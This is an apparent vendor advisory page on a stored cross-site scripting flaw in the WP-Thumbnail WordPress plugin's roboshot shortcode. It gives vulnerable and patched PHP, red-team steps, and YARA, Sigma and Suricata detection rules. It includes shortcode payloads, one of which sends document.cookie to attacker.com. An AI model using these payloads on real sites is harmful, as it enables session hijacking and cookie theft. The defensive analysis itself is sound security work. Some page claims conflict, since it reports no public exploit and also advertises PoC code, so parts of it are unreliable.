CVE-2025-11819
Executive Summary
CVE-2025-11819 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Thumbnail plugin for WordPress, affecting all versions up to and including 1.1. The flaw resides in the roboshot shortcode, where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using this plugin, potentially leading to session hijacking, defacement, or data theft. No public exploit code or patch is currently available, and the vendor has not responded to disclosure efforts.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The WP-Thumbnail plugin is distributed via the official WordPress plugin repository and is not associated with NPM, PyPI, Go, or Ruby packages. Users should verify the integrity of their plugin installations and consider removing the plugin if no patch is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level access)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is elevated due to the low privileges required and the lack of user interaction. An attacker with contributor access can inject persistent XSS payloads that affect all site visitors, including administrators.
Deep Dive & Mechanics
The vulnerability exists in the roboshot shortcode handler of the WP-Thumbnail plugin. The shortcode accepts user-supplied attributes (e.g., src, alt, class) and directly outputs them into the HTML without proper sanitization or escaping. Specifically, the plugin fails to use WordPress's built-in escaping functions like esc_attr() or wp_kses() on attribute values.
Root Cause: In the plugin's main PHP file (typically wp-thumbnail.php), the shortcode callback function processes attributes like this:
function roboshot_shortcode($atts) {
$a = shortcode_atts(array(
'src' => '',
'alt' => '',
'class' => ''
), $atts);
return '<img src="' . $a['src'] . '" alt="' . $a['alt'] . '" class="' . $a['class'] . '" />';
}
The attributes $a['src'], $a['alt'], and $a['class'] are directly concatenated into the HTML string without any escaping. An attacker can inject a payload like:
[roboshot src="x" alt="y" class="z" onmouseover="alert('XSS')"]
This results in:
<img src="x" alt="y" class="z" onmouseover="alert('XSS')" />
When a user hovers over the image, the JavaScript executes.
Vulnerable vs. Patched Code
Vulnerable Code (wp-thumbnail.php, version 1.1):
function roboshot_shortcode($atts) {
$a = shortcode_atts(array(
'src' => '',
'alt' => '',
'class' => ''
), $atts);
return '<img src="' . $a['src'] . '" alt="' . $a['alt'] . '" class="' . $a['class'] . '" />';
}
Patched Code (Hypothetical fix):
function roboshot_shortcode($atts) {
$a = shortcode_atts(array(
'src' => '',
'alt' => '',
'class' => ''
), $atts);
return '<img src="' . esc_url($a['src']) . '" alt="' . esc_attr($a['alt']) . '" class="' . esc_attr($a['class']) . '" />';
}
The patched version uses esc_url() for the src attribute (which should be a URL) and esc_attr() for alt and class to neutralize any injected JavaScript.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress site with WP-Thumbnail plugin version 1.1 installed.
- Authenticated user account with Contributor-level access or higher.
Exploitation Steps:
- Log in to WordPress as a Contributor.
- Create a new post or page.
- Insert the following shortcode into the content:
[roboshot src="x" alt="y" class="z" onmouseover="alert(document.cookie)"]
- Publish the post.
- Any user visiting the post will see the XSS trigger when hovering over the image.
Advanced Payload (Session Hijacking):
[roboshot src="x" alt="y" class="z" onmouseover="fetch('https://attacker.com/steal?cookie='+document.cookie)"]
Blue Team
Detection Steps:
- Monitor for posts/pages containing the
roboshotshortcode with suspicious attributes (e.g.,onmouseover,onclick,onerror). - Review WordPress logs for unusual shortcode usage.
- Use the YARA and Sigma rules provided in the Detection Engineering section.
Mitigation Steps:
- Immediately disable the WP-Thumbnail plugin if no patch is available.
- Remove any posts/pages containing malicious shortcodes.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in shortcode attributes.
Indicators of Compromise (IOCs)
- File:
wp-content/plugins/wp-thumbnail/wp-thumbnail.php(version 1.1) - Shortcode Pattern:
[roboshot src="*" alt="*" class="*" on*="*"] - Network: Outbound HTTP requests to attacker-controlled domains (e.g.,
attacker.com/steal?cookie=...) - Logs: WordPress post content containing
onmouseover,onclick,onerrorwithin shortcode attributes.
Detection Engineering
YARA Rule
rule CVE_2025_11819_WP_Thumbnail_XSS {
meta:
description = "Detects malicious shortcode attributes in WP-Thumbnail plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-11819"
strings:
$shortcode = /\[roboshot[^\]]*on\w+\s*=\s*["'][^"']*["']/ nocase
condition:
$shortcode
}
Sigma Rule
title: CVE-2025-11819 WP-Thumbnail Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS via roboshot shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
post_content|contains: '[roboshot'
post_content|re: 'on\w+\s*=\s*["\'][^"\']*["\']'
condition: selection
falsepositives:
- Legitimate use of event handlers in shortcode (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-11819 WP-Thumbnail Stored XSS"; flow:to_server,established; content:"[roboshot"; nocase; pcre:"/on\w+\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the WP-Thumbnail plugin from all WordPress installations.
- Scan for compromise: Use the YARA rule to scan posts/pages for malicious shortcodes.
- Remove malicious content: Delete any posts/pages containing the
roboshotshortcode with suspicious attributes.
Long-term Measures:
- Apply virtual patching: Use a WAF to block XSS payloads in shortcode attributes.
- Monitor for updates: Check the WordPress plugin repository for a patched version.
- Educate users: Train content contributors to avoid using untrusted shortcodes.
- Implement CSP: Add a Content Security Policy header to mitigate XSS impact.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.